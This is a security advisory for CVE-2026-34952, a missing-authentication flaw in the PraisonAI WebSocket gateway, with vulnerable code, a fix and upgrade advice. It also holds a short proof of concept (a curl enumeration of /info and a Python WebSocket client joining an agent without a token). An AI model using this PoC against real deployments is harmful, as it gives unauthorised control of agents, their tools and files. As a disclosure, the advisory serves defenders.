CVE-2026-34952: PraisonAI: Missing Authentication in WebSocket Gateway
Summary
The PraisonAI Gateway server accepts WebSocket connections at /ws and serves agent topology at /info with no authentication. Any network client can connect, enumerate registered agents, and send arbitrary messages to agents and their tool sets.
Details
gateway/server.py:242 (source) -> gateway/server.py:250 (sink) python source -- /info leaks all agent IDs with no auth async def info(request): return JSONResponse({ "agents": list(self.agents.keys()), "sessions": len(self.sessions), "clients": len(self.clients), })
sink -- WebSocket accepted unconditionally, no token check async def websocketendpoint(websocket: WebSocket): await websocket.accept() clientid = str(uuid.uuid4()) self.clients[clientid] = websocket # processes any message from any client
PoC bash tested on: praisonai==4.5.87 (source install) install: pip install -e src/praisonai start server: python3 -c "import asyncio; from praisonai.gateway.server import WebSocketGateway; asyncio.run(WebSocketGateway(host='127.0.0.1', port=8765).start())" &
Step 1 - enumerate agents, no auth curl -s http://127.0.0.1:8765/info expected output: {"name":"PraisonAI Gateway","version":"1.0.0","agents":[...],"sessions":0,"clients":0}
Step 2 - connect to WebSocket, no token python3 -c " import asyncio, websockets, json async def run(): async with websockets.connect('ws://127.0.0.1:8765/ws') as ws: print('Connected with no auth') await ws.send(json.dumps({'type': 'join', 'agentid': 'assistant'})) print(await asyncio.waitfor(ws.recv(), timeout=3)) asyncio.run(run()) " expected output: Connected with no auth {"type": ...} -- server responds, connection accepted
Impact
Any unauthenticated attacker with network access can connect to the WebSocket gateway, enumerate all registered agents via /info, and send arbitrary messages to agents including tool execution, file reads, and API calls. GatewayConfig has an authtoken field that is never enforced in the handler.
Suggested Fix python async def websocketendpoint(websocket: WebSocket): token = websocket.queryparams.get("token") or \ websocket.headers.get("Authorization", "").removeprefix("Bearer ") if self.config.authtoken and token != self.config.authtoken: await websocket.close(code=4001, reason="Unauthorized") return await websocket.accept()
Other sources
PraisonAI is a multi-agent teams system. Prior to version 4.5.97, the PraisonAI Gateway server accepts WebSocket connections at /ws and serves agent topology at /info with no authentication. Any network client can connect, enumerate registered agents, and send arbitrary messages to agents and their tool sets. This issue has been patched in version 4.5.97.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/praisonaito a version that resolves this vulnerability.Fixed in 4.5.97 - Upgrade
Upgrade
praisonai/gatewayto a version that resolves this vulnerability.Fixed in 4.5.97 - Compensating control
Restrict network access to the PraisonAI Gateway WebSocket endpoints (e.g., /ws and /info on port 8765) so unauthenticated clients cannot reach them (use firewall/ACL to allow only trusted sources).